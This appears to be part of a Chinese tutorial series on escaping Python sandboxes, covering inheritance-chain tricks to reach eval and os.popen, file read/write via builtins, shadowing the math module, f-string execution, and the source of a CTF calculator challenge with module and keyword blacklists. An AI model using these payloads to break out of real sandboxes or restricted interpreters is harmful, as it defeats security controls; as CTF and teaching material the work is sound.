设为首页 - 加入收藏 ASP站长网(Aspzz.Cn)- 科技、建站、经验、云计算、5G、大数据,站长网!
热搜: 创业者 手机 数据
当前位置: 首页 > 运营中心 > 建站资源 > 策划 > 正文

一文看懂Python沙箱逃逸(8)

发布时间:2019-05-22 17:40 所属栏目:20 来源:Macr0phag3
导读:还可以这样利用: classtest(dict): def__init__(self): print(super(test,self).keys.__class__.__call__(eval,'1+1')) #如果是3.x的话可以简写为: #super().keys.__class__.__call__(eval,'1+1')) test() 上面的

还可以这样利用:

  1. class test(dict): 
  2.     def __init__(self): 
  3.         print(super(test, self).keys.__class__.__call__(eval, '1+1')) 
  4.         # 如果是 3.x 的话可以简写为: 
  5.         # super().keys.__class__.__call__(eval, '1+1')) 
  6. test() 

上面的这些利用方式总结起来就是通过__class__、__mro__、__subclasses__、__bases__等等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval。

最后,继承链的逃逸还有一些利用第三方库的方式,比如 jinja2,这类利用方式应该是叫 SSTI,可以看这个:传送门,这里就不多说了。

二、文件读写

2.x 有个内建的 file:

  1. >>> file('key').read() 
  2. 'Macr0phag3\n' 
  3. >>> file('key', 'w').write('Macr0phag3') 
  4. >>> file('key').read() 
  5. 'Macr0phag3' 

还有个 open,2.x 与 3.x 通用。

还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。

为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来:

math.py:

  1. import os  
  2. print(os.system('whoami')) 

调用

  1. >>> import math 
  2. macr0phag3 

这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re:

  1. >>> 're' in sys.modules 
  2. True 
  3. >>> 'math' in sys.modules 
  4. False 
  5. >>> 

当然在import re 之前del sys.modules['re']也不是不可以…

最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。

读文件暂时没什么发现特别的地方。

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

  1. >>> __builtins__.open('key').read() 
  2. 'Macr0phag3\n' 

或者

  1. >>> ().__class__.__base__.__subclasses__()[40]('key').read() 
  2. 'Macr0phag3' 

三、其他

过滤[、]:这个行为不像是 oj 会做得出来的,ctf 倒是有可能出现。应对的方式就是将[]的功能用pop 、__getitem__代替(实际上a[0]就是在内部调用了a.__getitem__(0) ):

  1. >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() 
  2. 'macr0phag3\n' 

利用新特性:PEP 498 引入了 f-string,在 3.6 开始出现:传送门,食用方式:传送门。所以我们就有了一种船新的利用方式:

  1. >>> f'{__import__("os").system("whoami")}' 
  2. macr0phag3 
  3. '0' 

关注每次版本增加的新特性,或许能淘到点宝贝。

序列化相关:序列化也是能用来逃逸,但是关于序列化的安全问题还挺多的,如果有时间我再写一篇文章来讨论好了。

四、栗子

这个例子来自iscc 2016的Pwn300 pycalc,相当有趣:

  1. #!/usr/bin/env python2 
  2. # -*- coding:utf-8 -*- 
  3.  
  4. def banner(): 
  5.     print "=============================================" 
  6.     print "   Simple calculator implemented by python   " 
  7.     print "=============================================" 
  8.     return 
  9.  
  10. def getexp(): 
  11.     return raw_input(">>> ") 
  12.  
  13. def _hook_import_(name, *args, **kwargs): 
  14.     module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi', 
  15.                         'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache', 
  16.                         'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip', 
  17.                         'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil', 
  18.                         'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools', 
  19.                         'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new', 
  20.                         'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib', 
  21.                         'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile', 
  22.                         'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer', 
  23.                         'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer', 
  24.                         'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 
  25.                         'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2', 
  26.                         'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport'] 
  27.     for forbid in module_blacklist: 
  28.         if name == forbid:        # don't let user import these modules 
  29.             raise RuntimeError('No you can\' import {0}!!!'.format(forbid)) 
  30.     # normal modules can be imported 
  31.     return __import__(name, *args, **kwargs) 
  32.  
  33. def sandbox_filter(command): 
  34.     blacklist = ['exec', 'sh', '__getitem__', '__setitem__', 
  35.                  '=', 'open', 'read', 'sys', ';', 'os'] 
  36.     for forbid in blacklist: 
  37.         if forbid in command: 
  38.             return 0 
  39.     return 1 
  40.  
  41. def sandbox_exec(command):      # sandbox user input 
  42.     result = 0 
  43.     __sandboxed_builtins__ = dict(__builtins__.__dict__) 
  44.     __sandboxed_builtins__['__import__'] = _hook_import_    # hook import 
  45.     del __sandboxed_builtins__['open'] 
  46.     _global = { 
  47.         '__builtins__': __sandboxed_builtins__ 
  48.     } 
  49.     if sandbox_filter(command) == 0: 
  50.         print 'Malicious user input detected!!!' 
  51.         exit(0) 
  52.     command = 'result = ' + command 
  53.     try: 
  54.         exec command in _global     # do calculate in a sandboxed environment 
  55.     except Exception, e: 
  56.         print e 
  57.         return 0 
  58.     result = _global['result']  # extract the result 
  59.     return result 
  60.  
  61. banner() 
  62. while 1: 
  63.     command = getexp() 
  64.     print sandbox_exec(command) 

(编辑:ASP站长网)

网友评论
推荐文章
    热点阅读